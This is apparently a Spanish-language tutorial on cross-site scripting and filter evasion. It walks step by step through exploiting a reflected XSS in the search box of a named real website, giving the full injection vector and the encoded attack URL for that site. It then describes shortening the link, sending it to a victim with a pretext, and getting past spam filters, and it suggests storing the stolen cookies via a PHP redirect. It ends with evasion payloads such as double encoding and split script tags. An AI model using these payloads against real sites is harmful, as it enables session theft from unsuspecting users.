Cross Site Scripting (XSS) y Vectores de Evasion
Bueno Antes que Nada este es solo un modelo de las posibilidades que brinda esta vulnerabilidad
recomiendo utilizar Firefox ya que Chrome tiene un bloqueo de Pop-up que nos va a impedir explotar comodamente el fallo
A tener en Cuenta:
Existe 2 tipos de XSS (Cross Site Scripting) ambos se basan en la ejecucion de codigo JavaScript sin que el ClientSide este pendiente de que esto va a suceder.
Reflected:
Son Aquellos producidos por un reflejo del Vector ingresado en el codigo html, por ej: Impresion de la Busqueda en una Web
Stored:
Son Aquellos Cuyo Vector ingresado queda registrado y/o impreso directamente en el contenido html de la Web Afectada.
Un Ej de esto seria un comentario de Moderacion que se guarda en una base de datos de gestion web por un Panel de Administracion, para darle el visto bueno.
Al Ingresar por ej un Script del tipo <script>alert("XSS")</script> no lo veriamos ejecutarce porq este esta pendiente de moderacion,
el Administrador al Ingresar al Panel de Moderacion este comentario se ejecutaria al momento de Moderar el Comentario. (Situacion Ideal)
Esto se puede utilizar para robar Cookies para luego lograr logearnos como ese Usuario.
Desarrollo:
En Fin Ambos Ataques se diferencian unicamente en el alcanse que poseen, XSS Reflected requiere un poco de ingenieria social para lograr nuestro Objetico
Hoy Vamos a Tomar como ejempo a http://www.napsix.com/ que posee un fallo de XSS Reflected que reportado numerosas veces sin tener respuestas ni ver Correccion del Bug.
Comencemos:
Abrimos en Nuestro Navegador http://www.napsix.com/ y vemos un flamante campo de Busqueda, interesado en ver que sucede ingreso un Vector de Busqueda.
Vector de Busqueda: >AQUI<
Inspeccionamos Elementos con Chrome y buscamos dentro del Codigo html la palabra AQUI
Vemos que no produce ningun tipo de Evacion ni Filtrado ante los caracteres ">" ni "<" esto da pie a pensar que vulnerable sin siquiera tener
que evadir con Double Encode.
Analicemos:
<input type="text" name="textoBusqueda" class="texto" value=">AQUI<">
lo que intentaremos lograr es sacar nuestro Vector de Ataque fuera del input, como podemos ver la propiedad Value abre y cierra con doble comilla
intentaremos cerrar value, luego cerrar el input, injectar el vector y comentar el resto del codigo html
Escapando de la propiedad Value:
Para lograr esto en nuestro vector inyectaremos unas comillas dobles (")
esto quedara de la siguiente manera:
<input type="text" name="textoBusqueda" class="texto" value=""">
como podemos ver queda por demas al final de la etiqueta un " antes del cierre >
Escapando del Input:
Ahora escaparemos del input, la logica de lo que vemos dice q se cierra con un ">" pero con un conocimiento minimo de html sabremos que las etiquetas input se cierran con /> aunque el inspector de Elementos de Chrome diga lo contrario.
Inyectaremos como Vector "/>
y nos quedara de la siguiente manera:
<input type="text" name="textoBusqueda" class="texto" value=""/>">
Como vemos queda de mas al final de nuestro input "> esto producira un error de sintaxis por lo que deseamos eliminar esto ultimo
y lo vamos a lograr comentando el resto del codigo html
Por lo que agregaremos un <!-- al final de nuestro vector:
"/><!--
y quedara una ves ejecutado:
<input type="text" name="textoBusqueda" class="texto" value=""/><!--">
dejando sin utilidad todo lo posterior a nuestra apertura de Comentario.
Si probamos este codigo veremos que no se ejecuta nada pero la busqueda se realiza con exito.
Al ver el contenido con el Inspector de Elementos, vemos que value aparece sin ningun valor y que el resto del codigo esta comentado:
<input type="text" name="textoBusqueda" class="texto" value="">
y esto es lo que estamos buscando, terminaremos la inyeccion agregando a nuestro vector justo antes de comentar (<!--) el codigo JavaScript que deseamos ejecutar
quedando de la siguiente manera:
Vector:
"/><script>alert(document.cookie)</script><!--
Reflejo Web:
<input type="text" name="textoBusqueda" class="texto" value="""/><script>alert(document.cookie)</script><!--">
esto producira que el codigo JavaScript se ejecute:
Si leyeron el Comienzo de este Tutorial veran que recomiendo usar Firefox para completar la explotacion ya que Chrome previene de ventanas Emergentes.
Vemos que se Ejecuta con Exito y deja Expuesto la cookie del Usuario.
Ingenieria Social:
Podriamos agregar en nuestro script una redireccion a un archivo php que almacenara esta cookie, y lo vamos a lograr con un poco de Ingenieria Social para explotar este Reflected XSS. Solo que en nuestro caso no robaremos la cookie solo Mostraremos un Alert a La Victima ya que estamos sobre un rubro etico.
Como vemos nuestro Vector de Ataque se produce por GET por lo que veremos nuestra inyeccion en la URL de nuestro Navegador:
http://napsix.mdzol.com/mendoza/search.jsp?textoBusqueda="%2F><script>alert(%2FRobe tu Cookie%2F)<%2Fscript><!--&categoriaSubcategoria=null&buscar2=buscar
Los Caracteres Especiales que se Pueden Ver son Simplemente nuestros tags en URL Encode.
Acortaremos esta URL con algun acortador de URL. En este caso utilizare https://bitly.com/shorten/
Dandonos como resultado este Link:
http://bit.ly/11s2A2K
Solo resta Enviar a Nuestra Victima este Link con algun discurso para que lo Abra en su Navegador.
Al revisar nuestra bandeja de entrada, vemos como el link cayo como Seguro y sin pasar al buzon de Spam
Al Hacer Click en el link Sucede la Magia:
Evasion de Filtros en XSS
Existe Distintos metodos de evacion utlizando metodos propios de javascript dentro de las etiquetas html que queremos inyectar, por Ej
<b onLoad=alert(/XSS/)></b>
<img src=. onerror=alert(/XSS/)>
Utilizar un Doble Encode Codificando 2 veces el Vector con URL Encode antes de ingresarlo
<b onLoad=alert(/XSS/)></b> A Double Encode:
%253Cb%2520onLoad%253Dalert%2528%252fXSS%252f%2529%253E%253C%252fb%253E
Double Tag para saltar StripTags
<scr<script>ipt>alert(/XSS/)</scr<script>ipt><!--
StripTag eliminara la etiqueta <script> y unira la etiqueta divididada.
Estos son unos de Muchos Otros Metodos de Evasion.